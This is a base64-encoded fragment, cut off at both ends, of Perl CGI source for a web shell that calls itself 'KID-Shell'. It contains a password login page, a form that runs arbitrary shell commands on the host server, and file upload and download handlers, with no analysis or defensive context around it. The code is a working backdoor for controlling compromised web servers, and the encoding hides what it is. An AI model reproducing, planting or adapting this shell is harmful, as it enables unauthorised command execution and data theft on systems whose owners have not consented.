2VIZWFkZXIKewoJJEVuY29kZWRDdXJyZW50RGlyID0gJEN1cnJlbnREaXI7CgkkRW5jb2RlZEN1cnJlbnREaXIgPX4gcy8oW15hLXpBLVowLTldKS8nJScudW5wYWNrKCJIKiIsJDEpL2VnOwoJcHJpbnQgIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sXG5cbiI7CglwcmludCA8PEVORDsKPGh0bWw+CjxoZWFkPgo8dGl0bGU+S0lEIC0gRHIuSkVlTlRlTCBTaGVMTDwvdGl0bGU+CiRIdG1sTWV0YUhlYWRlcgo8L2hlYWQ+Cjxib2R5IHN0eWxlPSdjb2xvcjogIzAwMDAwMDtiYWNrZ3JvdW5kOnVybChodHRwOi8vZHo0YWxsLmNvbS9jYy9pbWFnZXMvYWxtamF6Zi1zYS9uYXYvbmF2XzE4LmdpZikgcmVwZWF0IHNjcm9sbCBjZW50ZXIgdG9wO2JhY2tncm91bmQtYXR0YWNobWVudDogZml4ZWQ7U0NST0xMQkFSLUZBQ0UtQ09MT1I6ICNGMUYxRjE7IE1BUkdJTjogMHB4O1NDUk9MTEJBUi1ISUdITElHSFQtQ09MT1I6ICNmZmZmZmY7IE9WRVJGTE9XOiBhdXRvOyc+Cjx0ZCBjb2xzcGFuPSIyIiBiZ2NvbG9yPSIjMDBmZjAwIj48cCBhbGlnbj0iY2VudGVyIj5zPGZvbnQgZmFjZT0iVmVyZGFuYSIgc2l6ZT0iMiI+CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPXVwbG9hZCZkPSRFbmNvZGVkQ3VycmVudERpciI+VXBsb2FkIEZpbGU8L2E+IHwgCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2FkJmQ9JEVuY29kZWRDdXJyZW50RGlyIj5Eb3dubG9hZCBGaWxlPC9hPiB8CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWxvZ291dCI+RGlzY29ubmVjdDwvYT4KPHRhYmxlIGJvcmRlcj0iMCIgd2lkdGg9IjEwMCUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMiI+CjxwIGFsaWduPSJjZW50ZXIiPjxmb250IGZhY2U9IlZlcmRhbmEiIHNpemU9IjMiIGNvbG9yPSIjRkYwMDAwIj5LSUQtU2hlbGwgLSBTZXJ2ZXI6OiAgPGZvbnQgY29sb3I9IiMwMEZGMDAiPiRTZXJ2ZXJOYW1lPC9mb250PjwvZm9udD4KPC90cj4KPHRyPgo8L2ZvbnQ+PC90ZD4KPC90cj4KPC90YWJsZT4KPGZvbnQgY29sb3I9IiNDMEMwQzAiIHNpemU9IjMiPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgTG9naW4gU2NyZWVuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9naW5TY3JlZW4KewoJJE1lc3NhZ2UgPSBxJDxwcmU+PGZvbnQgY29sb3I9IiMwMGZmMDAiPgogICAgICAtLSBFbnRlciBQYXNzd29yZCAtLQo8L2ZvbnQ+PC9wcmU+CiQ7CiMnCglwcmludCA8PEVORDsKJE1lc3NhZ2UKRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIG1lc3NhZ2UgdGhhdCBpbmZvcm1zIHRoZSB1c2VyIG9mIGEgZmFpbGVkIGxvZ2luCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9naW5GYWlsZWRNZXNzYWdlCnsKCXByaW50IDw8RU5EOwo8Y29kZT4KPGJyPmxvZ2luOiBhZG1pbjxicj4KcGFzc3dvcmQ6PGJyPgpMb2dpbiBpbmNvcnJlY3Q8YnI+PGJyPgo8L2NvZGU+CkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gZm9yIGxvZ2dpbmcgaW4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRMb2dpbkZvcm0KewoJcHJpbnQgPDxFTkQ7Cjxjb2RlPgo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImxvZ2luIj48Zm9udCBjb2xvcj0iIzAwZmYwMCI+UGFzc3dvcmQgOiA8L2ZvbnQ+PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj4KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KPC9mb3JtPgo8L2NvZGU+CkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBmb290ZXIgZm9yIHRoZSBIVE1MIFBhZ2UKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRQYWdlRm9vdGVyCnsKCXByaW50ICI8L2ZvbnQ+PC9ib2R5PjwvaHRtbD4iOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUmV0cmVpdmVzIHRoZSB2YWx1ZXMgb2YgYWxsIGNvb2tpZXMuIFRoZSBjb29raWVzIGNhbiBiZSBhY2Nlc3NlcyB1c2luZyB0aGUKIyB2YXJpYWJsZSAkQ29va2llc3snJ30KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgR2V0Q29va2llcwp7CglAaHR0cGNvb2tpZXMgPSBzcGxpdCgvOyAvLCRFTlZ7J0hUVFBfQ09PS0lFJ30pOwoJZm9yZWFjaCAkY29va2llKEBodHRwY29va2llcykKCXsKCQkoJGlkLCAkdmFsKSA9IHNwbGl0KC89LywgJGNvb2tpZSk7CgkJJENvb2tpZXN7JGlkfSA9ICR2YWw7Cgl9Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIHNjcmVlbiB3aGVuIHRoZSB1c2VyIGxvZ3Mgb3V0CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9nb3V0U2NyZWVuCnsKCXByaW50ICI8Y29kZT5Db25uZWN0aW9uIGNsb3NlZCBieSBmb3JlaWduIGhvc3QuPGJyPjxicj48L2NvZGU+IjsKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIExvZ3Mgb3V0IHRoZSB1c2VyIGFuZCBhbGxvd3MgdGhlIHVzZXIgdG8gbG9naW4gYWdhaW4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUGVyZm9ybUxvZ291dAp7CglwcmludCAiU2V0LUNvb2tpZTogU0FWRURQV0Q9O1xuIjsgIyByZW1vdmUgcGFzc3dvcmQgY29va2llCgkmUHJpbnRQYWdlSGVhZGVyKCJwIik7CgkmUHJpbnRMb2dvdXRTY3JlZW47CgkmUHJpbnRMb2dpblNjcmVlbjsKCSZQcmludExvZ2luRm9ybTsKCSZQcmludFBhZ2VGb290ZXI7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB0byBsb2dpbiB0aGUgdXNlci4gSWYgdGhlIHBhc3N3b3JkIG1hdGNoZXMsIGl0CiMgZGlzcGxheXMgYSBwYWdlIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHJ1biBjb21tYW5kcy4gSWYgdGhlIHBhc3N3b3JkIGRvZW5zJ3QKIyBtYXRjaCBvciBpZiBubyBwYXNzd29yZCBpcyBlbnRlcmVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIKIyB0byBsb2dpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQZXJmb3JtTG9naW4gCnsKCWlmKCRMb2dpblBhc3N3b3JkIGVxICRwYXNzd29yZCkgIyBwYXNzd29yZCBtYXRjaGVkCgl7CgkJcHJpbnQgIlNldC1Db29raWU6IFNBVkVEUFdEPSRMb2dpblBhc3N3b3JkO1xuIjsKCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CgkJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkJJlByaW50UGFnZUZvb3RlcjsKCX0KCWVsc2UgIyBwYXNzd29yZCBkaWRuJ3QgbWF0Y2gKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJwIik7CgkJJlByaW50TG9naW5TY3JlZW47CgkJaWYoJExvZ2luUGFzc3dvcmQgbmUgIiIpICMgc29tZSBwYXNzd29yZCB3YXMgZW50ZXJlZAoJCXsKCQkJJlByaW50TG9naW5GYWlsZWRNZXNzYWdlOwoJCX0KCQkmUHJpbnRMb2dpbkZvcm07CgkJJlByaW50UGFnZUZvb3RlcjsKCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGNvbW1hbmRzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0KewoJJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7CglwcmludCA8PEVORDsKPGNvZGU+Cjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+Cjxmb250IGNvbG9yPSIjMDBGRjAwIj4kUHJvbXB0PC9mb250PiAKPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImMiIHNpemU9IjI1Ij4KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KPC9mb3JtPgo8L2NvZGU+CiAgICAgICAgICAgCkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gZG93bmxvYWQgZmlsZXMKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRGaWxlRG93bmxvYWRGb3JtCnsKCSRQcm9tcHQgPSAkV2luTlQgPyAiJEN1cnJlbnREaXI+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkQ3VycmVudERpcl1cJCAiOwoJcHJpbnQgPDxFTkQ7Cjxjb2RlPgo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImRvd25sb2FkIj4KJFByb21wdCBkb3dubG9hZDxicj48YnI+CkZpbGVuYW1lOiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+CkRvd25sb2FkOiA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPgo8L2Zvcm0+CjwvY29kZT4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byB1cGxvYWQgZmlsZXMKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRGaWxlVXBsb2FkRm9ybQp7CgkkUHJvbXB0ID0gJFdpbk5UID8gIiRDdXJyZW50RGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJEN1cnJlbnREaXJdXCQgIjsKCXByaW50IDw8RU5EOwo8Y29kZT4KPGZvcm0gbmFtZT0iZiIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CiRQcm9tcHQgdXBsb2FkPGJyPjxicj4KRmlsZW5hbWU6IDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4KT3B0aW9uczogIDxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ibyIgdmFsdWU9Im92ZXJ3cml0ZSI+Ck92ZXJ3cml0ZSBpZiBpdCBFeGlzdHM8YnI+PGJyPgpVcGxvYWQ6ICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkJlZ2luIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9InVwbG9hZCI+CjwvZm9ybT4KPC9jb2RlPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHRpbWVvdXQgZm9yIGEgY29tbWFuZCBleHBpcmVzLiBXZSBuZWVkIHRvCiMgdGVybWluYXRlIHRoZSBzY3JpcHQgaW1tZWRpYXRlbHkuIFRoaXMgZnVuY3Rpb24gaXMgdmFsaWQgb25seSBvbiBVbml4LiBJdCBpcwojIG5ldmVyIGNhbGxlZCB3aGVuIHRoZSBzY3JpcHQgaXMgcnVubmluZyBvbiBOVC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQ29tbWFuZFRpbWVvdXQKewoJaWYoISRXaW5OVCkKCXsKCQlhbGFybSgwKTsKCQlwcmludCA8PEVORDsKPC94bXA+Cjxjb2RlPgpDb21tYW5kIGV4Y2VlZGVkIG1heGltdW0gdGltZSBvZiAkQ29tbWFuZFRpbWVvdXREdXJhdGlvbiBzZWNvbmQocykuCjxicj5LaWxsZWQgaXQhCjxjb2RlPgpFTkQKCQkmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCQkmUHJpbnRQYWdlRm9vdGVyOwoJCWV4aXQ7Cgl9Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB0byBleGVjdXRlIGNvbW1hbmRzLiBJdCBkaXNwbGF5cyB0aGUgb3V0cHV0IG9mIHRoZQojIGNvbW1hbmQgYW5kIGFsbG93cyB0aGUgdXNlciB0byBlbnRlciBhbm90aGVyIGNvbW1hbmQuIFRoZSBjaGFuZ2UgZGlyZWN0b3J5CiMgY29tbWFuZCBpcyBoYW5kbGVkIGRpZmZlcmVudGx5LiBJbiB0aGlzIGNhc2UsIHRoZSBuZXcgZGlyZWN0b3J5IGlzIHN0b3JlZCBpbgojIGFuIGludGVybmFsIHZhcmlhYmxlIGFuZCBpcyB1c2VkIGVhY2ggdGltZSBhIGNvbW1hbmQgaGFzIHRvIGJlIGV4ZWN1dGVkLiBUaGUKIyBvdXRwdXQgb2YgdGhlIGNoYW5nZSBkaXJlY3RvcnkgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkIHRvIHRoZSB1c2VycwojIHRoZXJlZm9yZSBlcnJvciBtZXNzYWdlcyBjYW5ub3QgYmUgZGlzcGxheWVkLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBFeGVjdXRlQ29tbWFuZAp7CglpZigkUnVuQ29tbWFuZCA9fiBtL15ccypjZFxzKyguKykvKSAjIGl0IGlzIGEgY2hhbmdlIGRpciBjb21tYW5kCgl7CgkJIyB3ZSBjaGFuZ2UgdGhlIGRpcmVjdG9yeSBpbnRlcm5hbGx5LiBUaGUgb3V0cHV0IG9mIHRoZQoJCSMgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkLgoJCQoJCSRPbGREaXIgPSAkQ3VycmVudERpcjsKCQkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuImNkICQxIi4kQ21kU2VwLiRDbWRQd2Q7CgkJY2hvcCgkQ3VycmVudERpciA9IGAkQ29tbWFuZGApOwoJCSZQcmludFBhZ2VIZWFkZXIoImMiKTsKCQkmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCQlwcmludCAiPGRpdiBzdHlsZT0nZmxvYXQ6IGNlbnRlcjsgdGV4dC1hbGlnbjogbGVmdDsnPiI7CgkJJFByb21wdCA9ICRXaW5OVCA/ICIkT2xkRGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJE9sZERpcl1cJCAiOwoJCXByaW50ICI8Y29kZT4kUHJvbXB0ICRSdW5Db21tYW5kPC9jb2RlPiI7Cgl9CgllbHNlICMgc29tZSBvdGhlciBjb21tYW5kLCBkaXNwbGF5IHRoZSBvdXRwdXQKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CgkJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkJcHJpbnQgIjxkaXYgc3R5bGU9J2Zsb2F0OiBjZW50ZXI7IHRleHQtYWxpZ246IGxlZnQ7Jz4iOwoJCSRQcm9tcHQgPSAkV2luTlQgPyAiJEN1cnJlbnREaXI+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkQ3VycmVudERpcl1cJCAiOwoJCXByaW50ICI8Y29kZT4kUHJvbXB0ICRSdW5Db21tYW5kPC9jb2RlPjx4bXAgc3R5bGU9J2NvbG9yOiAjMDBGRjAwOyc+IjsKCQkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuJFJ1bkNvbW1hbmQuJFJlZGlyZWN0b3I7CgkJaWYoISRXaW5OVCkKCQl7CgkJCSRTSUd7J0FMUk0nfSA9IFwmQ29tbWFuZFRpbWVvdXQ7CgkJCWFsYXJtKCRDb21tYW5kVGltZW91dER1cmF0aW9uKTsKCQl9CgkJaWYoJFNob3dEeW5hbWljT3V0cHV0KSAjIHNob3cgb3V0cHV0IGFzIGl0IGlzIGdlbmVyYXRlZAoJCXsKCQkJJHw9MTsKCQkJJENvbW1hbmQgLj0gIiB8IjsKCQkJb3BlbihDb21tYW5kT3V0cHV0LCAkQ29tbWFuZCk7CgkJCXdoaWxlKDxDb21tYW5kT3V0cHV0PikKCQkJewoJCQkJJF8gPX4gcy8oXG58XHJcbikkLy87CgkJCQlwcmludCAiJF9cbiI7CgkJCX0KCQkJJHw9MDsKCQl9CgkJZWxzZSAjIHNob3cgb3V0cHV0IGFmdGVyIGNvbW1hbmQgY29tcGxldGVzCgkJewoJCQlwcmludCBgJENvbW1hbmRgOwoJCX0KCQlpZighJFdpbk5UKQoJCXsKCQkJYWxhcm0oMCk7CgkJfQoJCXByaW50ICI8L3htcD4iOwoJfQoJcHJpbnQgIjwvZGl2PiI7CgkmUHJpbnRQYWdlRm9vdGVyOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBkaXNwbGF5cyB0aGUgcGFnZSB0aGF0IGNvbnRhaW5zIGEgbGluayB3aGljaCBhbGxvd3MgdGhlIHVzZXIKIyB0byBkb3dubG9hZCB0aGUgc3BlY2lmaWVkIGZpbGUuIFRoZSBwYWdlIGFsc28gY29udGFpbnMgYSBhdXRvLXJlZnJlc2gKIyBmZWF0dXJlIHRoYXQgc3RhcnRzIHRoZSBkb3dubG9hZCBhdXRvbWF0aWNhbGx5LgojIEFyZ3VtZW50IDE6IEZ1bGx5IHF1YWxpZmllZCBmaWxlbmFtZSBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RG93bmxvYWRMaW5rUGFnZQp7Cglsb2NhbCgkRmlsZVVybCkgPSBAXzsKCWlmKC1lICRGaWxlVXJsKSAjIGlmIHRoZSBmaWxlIGV4aXN0cwoJewoJCSMgZW5jb2RlIHRoZSBmaWxlIGxpbmsgc28gd2UgY2FuIHNlbmQgaXQgdG8gdGhlIGJyb3dzZXIKCQkkRmlsZVVybCA9fiBzLyhbXmEtekEtWjAtOV0pLyclJy51bnBhY2soIkgqIiwkMSkvZWc7CgkJJERvd25sb2FkTGluayA9ICIkU2NyaXB0TG9jYXRpb24/YT1kb3dubG9hZCZmPSRGaWxlVXJsJm89Z28iOwoJCSRIdG1sTWV0YUhlYWRlciA9ICI8bWV0YSBIVFRQLUVRVUlWPVwiUmVmcmVzaFwiIENPTlRFTlQ9XCIxOyBVUkw9JERvd25sb2FkTGlua1wiPiI7CgkJJlByaW50UGFnZUhlYWRlcigiYyIpOwoJCXByaW50IDw8RU5EOwo8Y29kZT4KU2VuZGluZyBGaWxlICRUcmFuc2ZlckZpbGUuLi48YnI+CklmIHRoZSBkb3dubG9hZCBkb2VzIG5vdCBzdGFydCBhdXRvbWF0aWNhbGx5LAo8YSBocmVmPSIkRG93bmxvYWRMaW5rIj5DbGljayBIZXJlPC9hPi4KPC9jb2RlPgpFTkQKCQkmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCQkmUHJpbnRQYWdlRm9vdGVyOwoJfQoJZWxzZSAjIGZpbGUgZG9lc24ndCBleGlzdAoJewoJCSZQcmludFBhZ2VIZWFkZXIoImYiKTsKCQlwcmludCAiPGNvZGU+RmFpbGVkIHRvIGRvd25sb2FkICRGaWxlVXJsOiAkITwvY29kZT4iOwoJCSZQcmludEZpbGVEb3dubG9hZEZvcm07CgkJJlByaW50UGFnZUZvb3RlcjsKCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gcmVhZHMgdGhlIHNwZWNpZmllZCBmaWxlIGZyb20gdGhlIGRpc2sgYW5kIHNlbmRzIGl0IHRvIHRoZQojIGJyb3dzZXIsIHNvIHRoYXQgaXQgY2FuIGJlIGRvd25sb2FkZWQgYnkgdGhlIHVzZXIuCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIHBhdGhuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIHNlbnQuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFNlbmRGaWxlVG9Ccm93c2VyCnsKCWxvY2FsKCRTZW5kRmlsZSkgPSBAXzsKCWlmKG9wZW4oU0VOREZJTEUsICRTZW5kRmlsZSkpICMgZmlsZSBvcGVuZWQgZm9yIHJlYWRpbmcKCXsKCQlpZigkV2luTlQpCgkJewoJCQliaW5tb2RlKFNFTkRGSUxFKTsKCQkJYmlubW9kZShTVERPVVQpOwoJCX0KCQkkRmlsZVNpemUgPSAoc3RhdCgkU2VuZEZpbGUpKVs3XTsKCQkoJEZpbGVuYW1lID0gJFNlbmRGaWxlKSA9fiAgbSEoW14vXlxcXSopJCE7CgkJcHJpbnQgIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC11bmtub3duXG4iOwoJCXByaW50ICJDb250ZW50LUxlbmd0aDogJEZpbGVTaXplXG4iOwoJCXByaW50ICJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0kMVxuXG4iOwoJCXByaW50IHdoaWxlKDxTRU5ERklMRT4pOwoJCWNsb3NlKFNFTkRGSUxFKTsKCX0KCWVsc2UgIyBmYWlsZWQgdG8gb3BlbiBmaWxlCgl7CgkJJlByaW50UGFnZUhlYWRlcigiZiIpOwoJCXByaW50ICI8Y29kZT5GYWlsZWQgdG8gZG93bmxvYWQgJFNlbmRGaWxlOiAkITwvY29kZT4iOwoJCSZQcmludEZpbGVEb3dubG9hZEZvcm07CgkJJlByaW50UGFnZUZvb3RlcjsKCX0KfQoKCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIGRvd25sb2FkcyBhIGZpbGUuIEl0IGRpc3BsYXlzIGEgbWVzc2FnZQojIHRvIHRoZSB1c2VyIGFuZCBwcm92aWRlcyBhIGxpbmsgdGhyb3VnaCB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4KIyBUaGlzIGZ1bmN0aW9uIGlzIGFsc28gY2FsbGVkIHdoZW4gdGhlIHVzZXIgY2xpY2tzIG9uIHRoYXQgbGluay4gSW4gdGhpcyBjYXNlLAojIHRoZSBmaWxlIGlzIHJlYWQgYW5kIHNlbnQgdG8gdGhlIGJyb3dzZXIuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tL